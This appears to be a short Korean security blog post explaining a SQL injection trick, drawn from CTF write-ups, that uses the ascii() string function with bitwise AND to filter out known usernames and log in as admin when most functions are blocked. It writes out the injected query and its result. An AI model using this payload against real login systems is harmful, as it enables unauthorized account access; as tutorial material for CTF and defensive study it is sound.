본문 바로가기
Security

문자열함수를 이용한 SQL Injection

by Hide­ 2015. 1. 29.
반응형

최근 대회 Write-Up들을 둘러보다가 알게된 기법에 대해 글을 쓰려고 한다.

먼저 테이블의 구성은 아래와 같다.

(문제의 환경은 대부분의 함수가 필터링되고 admin으로 로그인을 하는 것이다.)


member 테이블

 id

pw 

guest 

guest123 

test

test123 

admin

admin123 


SELECT ascii(id) FROM member;

->

ascii(id) 

103 

116 

97 


전체의 id에 대해 ascii 변환을 시도하면 id의 첫번째 부분들만 ascii변환이 진행된다.

이를 통해 아래와 같은 쿼리를 통해 admin으로 로그인을 시도할 수 있다.

(파란 부분이 사용자의 입력이 들어간 부분)


SELECT * FROM member where id='' or ascii(id)-103&ascii(id)-116#' and pw=''

->

id

pw 

admin 

admin123 


ascii(id)-103 = guest의 g 부분 과

ascii(id)-116 = test의 t 부분을 제외한 나머지 id, 즉 admin 만 남게된다.

물론 id 또는 pw 의 첫번째 글자를 알고있는 제한적인 상황에서 사용이 가능하지만 대부분의 id 또는 pw의

첫번째 글자가 a-z 범위 내에 있으므로 브루트포싱으로 충분히 유추해 낼 수 있다.

ascii 뿐만아니라 hex, ord 등 다른 함수를 통해서도 가능하다.


admin으로 로그인을 해야하지만 limit, order by 등 대부분의 함수들이 막혀있고

단 하나만의 문자열 함수만 쓸 수 있는 상황일 때 유용하게 쓸 수 있을 듯 하다.

'Security' 카테고리의 다른 글

Stripped 된 바이너리의 Symbol 정보찾는법  (0) 2015.02.21
Pyc Decompiler  (0) 2015.02.09
List of Apache dirs  (0) 2015.01.17
HTTP 상태코드  (0) 2014.11.01
MSSQL Error Based SQL Injection  (3) 2014.10.24